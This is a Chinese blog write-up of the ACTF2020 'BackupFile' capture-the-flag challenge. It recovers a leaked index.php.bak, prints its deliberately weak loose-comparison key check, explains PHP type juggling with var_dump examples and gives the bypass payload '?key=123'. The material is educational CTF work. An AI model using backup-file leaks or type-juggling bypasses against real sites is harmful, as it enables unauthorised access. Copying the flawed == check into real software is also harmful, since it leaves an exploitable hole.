[ACTF2020 新生赛]BackupFile
[ACTF2020 新生赛]BackupFile#
应该是备份文件泄漏,扫一扫。
# 查看 index.php.bak 源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { // 检查不是数字
exit("Just num!");
}
$key = intval($key); // 转换成数字
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
php是弱类型语言,变量不需要声明数据类型,在php中的 == 和 === 完全是两种不同的比较方式。
<?php
# 数字和字符串比较
var_dump(123=='123'); //bool(true)
var_dump(123==='123'); //bool(false)
var_dump(123=='123ccccssssd341'); //bool(true)
var_dump(123==='123dasdsd'); //bool(false)
# 科学计数法(xey = x*10^y)
var_dump(100=='1e2'); //bool(true)
var_dump(100==='1e2'); //bool(false)
?>
所以这里的参数提交只要可以相等就行了。
# payload
?key=123
参考文章:
[phpweak](
作者:knsec
出处:https://www.cnblogs.com/knsec-cnblogs/p/16582246.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
备注:你可以在这里自定义其他内容,支持 HTML
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582246.html
【推荐】博客园的心动:当一群程序员决定开源共建一个真诚相亲平台
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】Flutter适配HarmonyOS 5知识地图,实战解析+高频避坑指南
【推荐】开源 Linux 服务器运维管理面板 1Panel V2 版本正式发布
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· dotnetty 新的篇章- 开源
· 设计模式:简单工厂、工厂方法与抽象工厂
· 用好 JUnit 5 的高级特性:提升单测效率和质量
· 【大数据高并发核心场景实战】 - 数据持久化之冷热分离
· DotTrace系列:1. 理解四大经典的诊断类型(上)